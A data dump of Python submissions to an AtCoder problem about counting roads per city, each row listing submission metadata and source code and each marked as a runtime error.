s079477140 | p03720 | u118642796 | 1553382218 | Python | PyPy3 (2.4.0) | py | Runtime Error | 174 | 38384 | 114 | N,M = map(int,input().split())
ans = [0]*N
for _ in range(M):
ans[int(input())-1] += 1
for a in ans:
print(a) |
s497308271 | p03720 | u102960641 | 1553024160 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 141 | n,m = map(int, input().split())
c = [0]*n
for i in range(m):
a,b = map(int, input().split())
c[a] += 1
c[b] += 1
for i in c:
print(i) |
s367150201 | p03720 | u155236040 | 1552796217 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 271 | n,m = map(int,input().split())
ab_list = [list(map(int, input().split())) for _ in range(m)]
tmp_list = sorted(list(chain(*ab_list)))
tmp_dic = {}
for i in range(1,n+1):
tmp_dic[i]=0
for val in tmp_list:
tmp_dic[val] += 1
for k,v in tmp_dic.items():
print(v)
|
s744185347 | p03720 | u393512980 | 1552361793 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 204 | n, m = map(int, input().split())
es = [[] for _ in range(n)]
for _ in range(m):
s, t = map(int, input().split())
es[s].append(t)
es[t].append(s)
for i in range(n):
print(len(list(set(es[i]))))
|
s910449548 | p03720 | u235905557 | 1551554893 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 309 | N, M = map(int, input().split())
cities = {}
for i in range(0, N):
cities[i] = 0
for _ in range(0, M):
a, b = map(int, input().split())
cities[a] += 1
cities[b] += 1
# 都市をkeyにしたdictを作って、その内容をインクリしていく?
for i in range(0, N):
print (cities[i])
|
s529605024 | p03720 | u729133443 | 1551120937 | Python | Python (3.4.3) | py | Runtime Error | 18 | 2940 | 76 | n,_,*r=map(int,open(0).read().split());for i in range(n):print(r.count(-~i)) |
s949611948 | p03720 | u518064858 | 1550797469 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 135 | n,m=map(int,input().split())
s=""
for i in range(m):
a,b=input().split()
s=s+a+b
for k in range(n)
print(s.count(str(k+1))) |
s074846791 | p03720 | u333139319 | 1550529560 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3064 | 356 | [n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
ab.append([int(j) for j in input().split()])
for i in range(m):
if ab[i][0] in dic.keys():
dic[ab[i][0]] += 1
else:
dic[ab[i][0]] = 1
if ab[i][1] in dic.keys():
dic[ab[i][1]] += 1
else:
dic[ab[i][1]] = 1
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.